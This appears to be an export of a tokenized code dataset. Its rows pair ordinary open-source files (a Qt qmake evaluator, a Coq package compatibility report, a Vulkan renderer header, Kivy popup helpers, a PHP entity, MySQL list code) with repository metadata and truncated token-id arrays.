buf[MAX_MESSAGE_LENGTH]; va_list ap; va_start(ap, msg); // use variable arg list qvsnprintf(buf, MAX_MESSAGE_LENGTH - 1, msg, ap); va_end(ap); buf[MAX_MESSAGE_LENGTH - 1] = '\0'; logMessage(QString::fromAscii(buf), mt); } // This function is unneeded and still retained. See log message for reason. QStringList ProFileEvaluator::absFileNames(const QString &variableName) { QStringList vpaths = values(QLatin1String("VPATH")) + values(QLatin1String("QMAKE_ABSOLUTE_SOURCE_PATH")) + values(QLatin1String("DEPENDPATH")) + values(QLatin1String("VPATH_SOURCES")); QStringList sources_out; QStringList sources = values(variableName); QFileInfo fi(m_origfile); QDir dir(fi.absoluteDir()); for (int i = 0; i < sources.count(); ++i) { QString fn = sources[i]; QString absName = QDir::cleanPath(dir.absoluteFilePath(sources[i])); QFileInfo fi(absName); bool found = fi.exists(); // Search in all vpaths for(QStringList::Iterator vpath_it = vpaths.begin(); vpath_it != vpaths.end() && !found; ++vpath_it) { QDir vpath(*vpath_it); fi.setFile(*vpath_it + QDir::separator() + fn); if (fi.exists()) { absName = fi.absoluteFilePath(); found = true; break; } } if (found) { sources_out+=fi.canonicalFilePath(); } else { QString val = fn; QString dir, regex = val, real_dir; if(regex.lastIndexOf(QLatin1Char('/')) != -1) { dir = regex.left(regex.lastIndexOf(QLatin1Char('/')) + 1); real_dir = dir; regex = regex.right(regex.length() - dir.length()); } if(real_dir.isEmpty() || QFileInfo(real_dir).exists()) { QStringList files = QDir(real_dir).entryList(QStringList(regex)); if(files.isEmpty()) { logMessage(MT_DebugLevel2, "%s:%d Failure to find %s", __FILE__, __LINE__, val.toLatin1().constData()); } else { QString a; for(int i = (int)files.count()-1; i >= 0; i--) { if(files[i] == QLatin1String(".") || files[i] == QLatin1String("..")) continue; a = dir + files[i]; sources_out+=a; } } } else { logMessage(MT_DebugLevel2, "%s:%d Cannot match %s%c%s, as %s does not exist.", __FILE__, __LINE__, real_dir.toLatin1().constData(), '/', regex.toLatin1().constData(), real_dir.toLatin1().constData()); } } } return sources_out; } QT_END_NAMESPACE
liuyanghejerry/qtextended
qtopiacore/qt/tools/linguist/shared/profileevaluator.cpp
C++
gpl-2.0
48,398
[ 30522, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>cats-in-zfc: Not compatible</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.5.0 / cats-in-zfc - 8.8.0</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> cats-in-zfc <small> 8.8.0 <span class="label label-info">Not compatible</span> </small> </h1> <p><em><script>document.write(moment("2020-06-25 03:38:52 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2020-06-25 03:38:52 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base camlp5 7.12 Preprocessor-pretty-printer of OCaml conf-findutils 1 Virtual package relying on findutils coq 8.5.0 Formal proof management system. num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.05.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.05.0 Official 4.05.0 release ocaml-config 1 OCaml Switch Configuration # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;Hugo.Herbelin@inria.fr&quot; homepage: &quot;https://github.com/coq-contribs/cats-in-zfc&quot; license: &quot;LGPL 2.1&quot; build: [make &quot;-j%{jobs}%&quot;] install: [make &quot;install&quot;] remove: [&quot;rm&quot; &quot;-R&quot; &quot;%{lib}%/coq/user-contrib/CatsInZFC&quot;] depends: [ &quot;ocaml&quot; &quot;coq&quot; {&gt;= &quot;8.8&quot; &amp; &lt; &quot;8.9~&quot;} ] tags: [ &quot;keyword: set theory&quot; &quot;keyword: ordinal&quot; &quot;keyword: cardinal&quot; &quot;keyword: category theory&quot; &quot;keyword: functor&quot; &quot;keyword: natural transformation&quot; &quot;keyword: limit&quot; &quot;keyword: colimit&quot; &quot;category: Mathematics/Logic/Set theory&quot; &quot;category: Mathematics/Category Theory&quot; &quot;date: 2004-10-10&quot; ] authors: [ &quot;Carlos Simpson &lt;carlos@math.unice.fr&gt; [http://math.unice.fr/~carlos/]&quot; ] bug-reports: &quot;https://github.com/coq-contribs/cats-in-zfc/issues&quot; dev-repo: &quot;git+https://github.com/coq-contribs/cats-in-zfc.git&quot; synopsis: &quot;Category theory in ZFC&quot; description: &quot;&quot;&quot; In a ZFC-like environment augmented by reference to the ambient type theory, we develop some basic set theory, ordinals, cardinals and transfinite induction, and category theory including functors, natural transformations, limits and colimits, functor categories, and the theorem that functor_cat a b has (co)limits if b does.&quot;&quot;&quot; flags: light-uninstall url { src: &quot;https://github.com/coq-contribs/cats-in-zfc/archive/v8.8.0.tar.gz&quot; checksum: &quot;md5=090072b5cbf45a36fc9da1c24f98ee56&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-cats-in-zfc.8.8.0 coq.8.5.0</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.5.0). The following dependencies couldn&#39;t be met: - coq-cats-in-zfc -&gt; coq &gt;= 8.8 Your request can&#39;t be satisfied: - No available version of coq satisfies the constraints No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-cats-in-zfc.8.8.0</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> <small>Sources are on <a href="https://github.com/coq-bench">GitHub</a>. © Guillaume Claret.</small> </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
coq-bench/coq-bench.github.io
clean/Linux-x86_64-4.05.0-2.0.6/released/8.5.0/cats-in-zfc/8.8.0.html
HTML
mit
7,325
[ 30522, 1026, 999, 9986, 13874, 16129, 1028, 1026, 16129, 11374, 1027, 1000, 4372, 1000, 1028, 1026, 2132, 1028, 1026, 18804, 25869, 13462, 1027, 1000, 21183, 2546, 1011, 1022, 1000, 1028, 1026, 18804, 2171, 1027, 1000, 3193, 6442, 1000, 418...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// // Datum - renderer // // // Copyright (c) 2015 Peter Niekamp // #pragma once #include "datum.h" #include "datum/math.h" #include "datum/asset.h" #include "camera.h" #include "vulkan.h" #include "resourcepool.h" #include "skybox.h" #include "envmap.h" #include "spotmap.h" #include "colorlut.h" #include "material.h" // Renderables namespace Renderable { enum class Type : uint16_t { Clear, Sprites, Overlays, Geometry, Forward, Casters, Lights, Decals, }; using Vec2 = lml::Vec2; using Vec3 = lml::Vec3; using Vec4 = lml::Vec4; using Rect2 = lml::Rect2; using Color3 = lml::Color3; using Color4 = lml::Color4; using Attenuation = lml::Attenuation; using Transform = lml::Transform; using Matrix4f = lml::Matrix4f; struct Sprites { static constexpr Type type = Type::Sprites; VkCommandBuffer spritecommands; }; struct Overlays { static constexpr Type type = Type::Overlays; VkCommandBuffer overlaycommands; }; struct Geometry { static constexpr Type type = Type::Geometry; VkCommandBuffer prepasscommands; VkCommandBuffer geometrycommands; }; struct Forward { static constexpr Type type = Type::Forward; struct Command { enum class Type { bind_pipeline, bind_vertexbuffer, bind_descriptor, draw, draw_indexed } type; union { struct { Vulkan::Pipeline const *pipeline; } bind_pipeline; struct { uint32_t binding; Vulkan::VertexBuffer const *vertexbuffer; } bind_vertexbuffer; struct { uint32_t set; VkDescriptorSet descriptor; VkDeviceSize offset; } bind_descriptor; struct { uint32_t vertexcount; uint32_t instancecount; } draw; struct { uint32_t indexbase; uint32_t indexcount; uint32_t instancecount; } draw_indexed; }; Command *next; }; Command const *solidcommands; Command const *blendcommands; Command const *colorcommands; }; struct Casters { static constexpr Type type = Type::Casters; VkCommandBuffer castercommands; }; struct Lights { static constexpr Type type = Type::Lights; struct LightList { size_t pointlightcount; struct PointLight { Vec3 position; Color3 intensity; Vec4 attenuation; } pointlights[256]; size_t spotlightcount; struct SpotLight { Vec3 position; Color3 intensity; Vec4 attenuation; Vec3 direction; float cutoff; Transform spotview; SpotMap const *spotmap; } spotlights[16]; size_t probecount; struct Probe { Vec4 position; Irradiance irradiance; } probes[64]; size_t environmentcount; struct Environment { Vec3 size; Transform transform; EnvMap const *envmap; } environments[8]; }; LightList const *lightlist; }; struct Decals { static constexpr Type type = Type::Decals; struct DecalList { size_t decalcount; struct Decal { Vec3 size; Transform transform; Material const *material; Vec4 extent; float layer; Color4 tint; uint32_t mask; } decals[256]; }; DecalList const *decallist; }; } //|---------------------- PushBuffer ---------------------------------------- //|-------------------------------------------------------------------------- class PushBuffer { public: struct Header { Renderable::Type type; uint16_t size; }; class const_iterator { public: using value_type = Header; using pointer = Header const *; using reference = Header const &; using difference_type = std::ptrdiff_t; using iterator_category = std::forward_iterator_tag; public: explicit const_iterator(Header const *position) : m_header(position) { } bool operator ==(const_iterator const &that) const { return m_header == that.m_header; } bool operator !=(const_iterator const &that) const { return m_header != that.m_header; } Header const &operator *() const { return *m_header; } Header const *operator ->() const { return &*m_header; } const_iterator &operator++() { m_header = reinterpret_cast<Header const *>(reinterpret_cast<char const *>(m_header) + m_header->size); return *this; } private: Header const *m_header; }; public: using allocator_type = StackAllocator<>; PushBuffer(allocator_type const &allocator, size_t slabsize); PushBuffer(PushBuffer const &other) = delete; public: void reset(); // Add a renderable to the push buffer template<typename T> T *push() { return reinterpret_cast<T*>(push(T::type, sizeof(T), alignof(T))); } template<typename T> T *push(size_t bytes) { return reinterpret_cast<T*>(push(T::type, bytes, alignof(T))); } // Iterate a pushbuffer const_iterator begin() const { return const_iterator(reinterpret_cast<Header*>(m_slab)); } const_iterator end() const { return const_iterator(reinterpret_cast<Header*>(m_tail)); } protected: void *push(Renderable::Type type, size_t size, size_t alignment); private: size_t m_slabsize; void *m_slab; void *m_tail; }; template<typename T> T const *renderable_cast(PushBuffer::Header const *header) { assert(T::type == header->type); return reinterpret_cast<T const *>(leap::alignto(reinterpret_cast<uintptr_t>(header + 1), alignof(T))); } //|---------------------- Renderer ------------------------------------------ //|-------------------------------------------------------------------------- struct ShadowMap { int width = 1024; int height = 1024; float shadowsplitfar = 150.0f; float shadowsplitlambda = 0.925f; static constexpr int nslices = 4; Vulkan::Texture shadowmap; std::array<float, nslices> splits; std::array<lml::Matrix4f, nslices> shadowview; }; struct RenderContext { bool ready = false; Vulkan::VulkanDevice vulkan; Vulkan::Fence framefence; Vulkan::CommandPool commandpool; Vulkan::CommandBuffer commandbuffers[2]; Vulkan::TransferBuffer transferbuffer; Vulkan::DescriptorPool descriptorpool; Vulkan::QueryPool timingquerypool; Vulkan::Sampler repeatsampler; Vulkan::Sampler clampedsampler; Vulkan::Sampler shadowsampler; Vulkan::DescriptorSetLayout scenesetlayout; Vulkan::DescriptorSetLayout materialsetlayout; Vulkan::DescriptorSetLayout modelsetlayout; Vulkan::DescriptorSetLayout extendedsetlayout; Vulkan::PipelineLayout pipelinelayout; Vulkan::PipelineCache pipelinecache; Vulkan::Texture colorbuffer; Vulkan::ImageView colormipviews[2]; Vulkan::Texture diffusebuffer; Vulkan::Texture specularbuffer; Vulkan::Texture normalbuffer; Vulkan::Texture depthbuffer; Vulkan::Texture ssaobuffers[2]; Vulkan::Texture scratchbuffers[4]; Vulkan::FrameBuffer preframebuffer; Vulkan::FrameBuffer geometryframebuffer; Vulkan::FrameBuffer forwardframebuffer; Vulkan::Texture depthmipbuffer; Vulkan::ImageView depthmipviews[6]; Vulkan::Texture esmshadowbuffer; Vulkan::Texture fogvolumebuffers[2]; Vulkan::Texture rendertarget; Vulkan::Texture depthstencil; Vulkan::FrameBuffer framebuffer; Vulkan::RenderPass shadowpass; Vulkan::RenderPass prepass; Vulkan::RenderPass geometrypass; Vulkan::RenderPass forwardpass; Vulkan::RenderPass overlaypass; Vulkan::StorageBuffer sceneset; Vulkan::DescriptorSet scenedescriptor; Vulkan::DescriptorSet framedescriptors[2]; Vulkan::VertexAttribute vertexattributes[4]; Vulkan::VertexBuffer unitquad; Vulkan::Texture envbrdf; Vulkan::Texture whitediffuse; Vulkan::Texture nominalnormal; Vulkan::Pipeline clusterpipeline; Vulkan::Pipeline modelshadowpipeline; Vulkan::Pipeline modelprepasspipeline; Vulkan::Pipeline modelgeometrypipeline; Vulkan::Pipeline actorshadowpipeline; Vulkan::Pipeline actorprepasspipeline; Vulkan::Pipeline actorgeometrypipeline; Vulkan::Pipeline foilageshadowpipeline; Vulkan::Pipeline foilageprepasspipeline; Vulkan::Pipeline foilagegeometrypipeline; Vulkan::Pipeline terrainprepasspipeline; Vulkan::Pipeline terraingeometrypipeline; Vulkan::Pipeline depthblitpipeline; Vulkan::Pipeline depthmippipeline[6]; Vulkan::Pipeline esmpipeline[3]; Vulkan::Pipeline fogvolumepipeline[2]; Vulkan::Pipeline lightingpipeline; Vulkan::Pipeline skyboxpipeline; Vulkan::Pipeline opaquepipeline; Vulkan::Pipeline translucentpipeline; Vulkan::Pipeline translucentblendpipeline; Vulkan::Pipeline ssaopipeline; Vulkan::Pipeline fogplanepipeline; Vulkan::Pipeline oceanpipeline; Vulkan::Pipeline waterpipeline; Vulkan::Pipeline particlepipeline; Vulkan::Pipeline particleblendpipeline; Vulkan::Pipeline weightblendpipeline; Vulkan::Pipeline ssrpipeline; Vulkan::Pipeline luminancepipeline; Vulkan::Pipeline bloompipeline[3]; Vulkan::Pipeline colorblurpipeline[2]; Vulkan::Pipeline compositepipeline; Vulkan::Pipeline spritepipeline; Vulkan::Pipeline gizmopipeline; Vulkan::Pipeline wireframepipeline; Vulkan::Pipeline stencilmaskpipeline; Vulkan::Pipeline stencilfillpipeline; Vulkan::Pipeline stencilpathpipeline; Vulkan::Pipeline linepipeline; Vulkan::Pipeline outlinepipeline; Vulkan::CommandBuffer forwardcommands[2][3]; Vulkan::CommandBuffer compositecommands[2]; float ssaoscale; Vulkan::StorageBuffer ssaoset; ShadowMap shadows; Vulkan::FrameBuffer shadowframebuffer; std::tuple<size_t, VkImage> decalmaps[2][16]; int width, height; float scale, aspect; int fbowidth, fboheight, fbox, fboy; ResourcePool resourcepool; bool prepared = false; size_t frame; Camera camera; lml::Matrix4f proj; lml::Matrix4f view; float luminance = 1.0; Vulkan::Texture defer; // @ResizeHack Camera prevcamera; }; enum class RenderPipelineConfig { FogDepthRange = 0x07, // float EnableDepthOfField = 0x1A, // bool EnableColorGrading = 0x1B, // bool }; struct RenderParams { int width = 1280; int height = 720; float scale = 1.0f; float aspect = 1.7777778f; lml::Vec3 sundirection = { -0.57735f, -0.57735f, -0.57735f }; lml::Color3 sunintensity = { 8.0f, 7.65f, 6.71f }; float suncutoff = 0.995f; SkyBox const *skybox = nullptr; lml::Transform skyboxorientation = ::lml::Transform::identity(); float skyboxlod = 0.0f; float ambientintensity = 1.0f; float specularintensity = 1.0f; float lightfalloff = 0.66f; float ssaoscale = 0.0f; float ssrstrength = 1.0f; float bloomstrength = 1.0f; float fogdensity = 0.1f; lml::Vec3 fogattenuation = { 0.0f, 0.5f, 0.0f }; ColorLut const *colorlut = nullptr; }; void prefetch_core_assets(DatumPlatform::PlatformInterface &platform, AssetManager &assets); // Config template<typename T> void config_render_pipeline(RenderPipelineConfig config, T value); // Initialise void initialise_render_context(DatumPlatform::PlatformInterface &platform, RenderContext &context, size_t storagesize, uint32_t queueindex); // Prepare bool prepare_render_context(DatumPlatform::PlatformInterface &platform, RenderContext &context, AssetManager &assets); void prepare_render_pipeline(RenderContext &context, RenderParams const &params); void release_render_pipeline(RenderContext &context); // Blit void blit(RenderContext &context, Vulkan::Texture const &src, VkBuffer dst, VkDeviceSize offset, VkSemaphore const (&dependancies)[8] = {}); void blit(RenderContext &context, Vulkan::Texture const &src, VkImage dst, int dx, int dy, int dw, int dh, VkImageSubresourceLayers dstlayers, VkFilter filter, VkSemaphore const (&dependancies)[8] = {}); // Fallback void render_fallback(RenderContext &context, DatumPlatform::Viewport const &viewport, const void *bitmap = nullptr, int width = 0, int height = 0); // Render void render(RenderContext &context, DatumPlatform::Viewport const &viewport, Camera const &camera, PushBuffer const &renderables, RenderParams const &params, VkSemaphore const (&dependancies)[7] = {});
pniekamp/datum
src/renderer/renderer.h
C
apache-2.0
12,495
[ 30522, 1013, 1013, 1013, 1013, 23755, 2819, 1011, 17552, 2121, 1013, 1013, 1013, 1013, 1013, 1013, 9385, 1006, 1039, 1007, 2325, 2848, 9152, 19025, 8737, 1013, 1013, 1001, 10975, 8490, 2863, 2320, 1001, 2421, 1000, 23755, 2819, 1012, 1044, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import kivy kivy.require('1.9.1') from kivy.uix.popup import Popup from kivy.uix.label import Label from kivy.uix.gridlayout import GridLayout from kivy.metrics import dp from kivy.app import Builder from kivy.properties import StringProperty, ObjectProperty from kivy.clock import Clock from kivy.metrics import sp from kivy.metrics import dp from iconbutton import IconButton __all__ = ('alertPopup, confirmPopup, okPopup, editor_popup') Builder.load_string(''' <ConfirmPopup>: cols:1 Label: text: root.text GridLayout: cols: 2 size_hint_y: None height: '44sp' spacing: '5sp' IconButton: text: u'\uf00c' on_press: root.dispatch('on_answer', True) IconButton: text: u'\uf00d' color: ColorScheme.get_primary() on_release: root.dispatch('on_answer', False) <OkPopup>: cols:1 Label: text: root.text GridLayout: cols: 2 size_hint_y: None height: '44sp' spacing: '5sp' IconButton: text: u'\uf00c' on_press: root.dispatch('on_answer', True) <EditorPopup>: id: editor_popup cols:1 BoxLayout: id: content GridLayout: id: buttons cols: 2 size_hint_y: None height: '44sp' spacing: '5sp' IconButton: text: u'\uf00c' on_press: root.dispatch('on_answer', True) IconButton: text: u'\uf00d' color: ColorScheme.get_primary() on_release: root.dispatch('on_answer', False) ''') def alertPopup(title, msg): popup = Popup(title = title, content=Label(text = msg), size_hint=(None, None), size=(dp(600), dp(200))) popup.open() def confirmPopup(title, msg, answerCallback): content = ConfirmPopup(text=msg) content.bind(on_answer=answerCallback) popup = Popup(title=title, content=content, size_hint=(None, None), size=(dp(600),dp(200)), auto_dismiss= False) popup.open() return popup class ConfirmPopup(GridLayout): text = StringProperty() def __init__(self,**kwargs): self.register_event_type('on_answer') super(ConfirmPopup,self).__init__(**kwargs) def on_answer(self, *args): pass def editor_popup(title, content, answerCallback): content = EditorPopup(content=content) content.bind(on_answer=answerCallback) popup = Popup(title=title, content=content, size_hint=(0.7, 0.8), auto_dismiss= False, title_size=sp(18)) popup.open() return popup class EditorPopup(GridLayout): content = ObjectProperty(None) def __init__(self,**kwargs): self.register_event_type('on_answer') super(EditorPopup,self).__init__(**kwargs) def on_content(self, instance, value): Clock.schedule_once(lambda dt: self.ids.content.add_widget(value)) def on_answer(self, *args): pass def okPopup(title, msg, answerCallback): content = OkPopup(text=msg) content.bind(on_ok=answerCallback) popup = Popup(title=title, content=content, size_hint=(None, None), size=(dp(600),dp(200)), auto_dismiss= False) popup.open() return popup class OkPopup(GridLayout): text = StringProperty() def __init__(self,**kwargs): self.register_event_type('on_ok') super(OkPopup,self).__init__(**kwargs) def on_ok(self, *args): pass
ddimensia/RaceCapture_App
autosportlabs/racecapture/views/util/alertview.py
Python
gpl-3.0
3,843
[ 30522, 12324, 11382, 10736, 11382, 10736, 1012, 5478, 1006, 1005, 1015, 1012, 1023, 1012, 1015, 1005, 1007, 2013, 11382, 10736, 1012, 21318, 2595, 1012, 3769, 6279, 12324, 3769, 6279, 2013, 11382, 10736, 1012, 21318, 2595, 1012, 3830, 12324, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php namespace BES\ContactBundle\Entity; use Doctrine\ORM\Mapping as ORM; use SKCMS\ContactBundle\Entity\ContactMessage as BaseMessage; /** * ContactMessage * * @ORM\Table() * @ORM\Entity(repositoryClass="BES\ContactBundle\Entity\ContactMessageRepository") */ class ContactMessage extends BaseMessage { /** * @var integer * * @ORM\Column(name="id", type="integer") * @ORM\Id * @ORM\GeneratedValue(strategy="AUTO") */ protected $id; /** * Get id * * @return integer */ public function getId() { return $this->id; } }
kokmok/beswebdev
src/BES/ContactBundle/Entity/ContactMessage.php
PHP
gpl-3.0
610
[ 30522, 1026, 1029, 25718, 3415, 15327, 2022, 2015, 1032, 3967, 27265, 2571, 1032, 9178, 1025, 2224, 8998, 1032, 2030, 2213, 1032, 12375, 2004, 2030, 2213, 1025, 2224, 15315, 27487, 2015, 1032, 3967, 27265, 2571, 1032, 9178, 1032, 3967, 7834...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* Copyright (C) 2000-2001, 2003, 2005 MySQL AB This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef USE_PRAGMA_IMPLEMENTATION #pragma implementation // gcc: Class implementation #endif #include "mysql_priv.h" list_node end_of_list; void free_list(I_List <i_string_pair> *list) { i_string_pair *tmp; while ((tmp= list->get())) delete tmp; } void free_list(I_List <i_string> *list) { i_string *tmp; while ((tmp= list->get())) delete tmp; } base_list::base_list(const base_list &rhs, MEM_ROOT *mem_root) { if (rhs.elements) { /* It's okay to allocate an array of nodes at once: we never call a destructor for list_node objects anyway. */ first= (list_node*) alloc_root(mem_root, sizeof(list_node) * rhs.elements); if (first) { elements= rhs.elements; list_node *dst= first; list_node *src= rhs.first; for (; dst < first + elements - 1; dst++, src= src->next) { dst->info= src->info; dst->next= dst + 1; } /* Copy the last node */ dst->info= src->info; dst->next= &end_of_list; /* Setup 'last' member */ last= &dst->next; return; } } elements= 0; first= &end_of_list; last= &first; }
liyu1981/mysql51-hack
sql/sql_list.cc
C++
gpl-2.0
1,898
[ 30522, 1013, 1008, 9385, 1006, 1039, 1007, 2456, 1011, 2541, 1010, 2494, 1010, 2384, 2026, 2015, 4160, 2140, 11113, 2023, 2565, 2003, 2489, 4007, 1025, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 2009, 2104, 1...
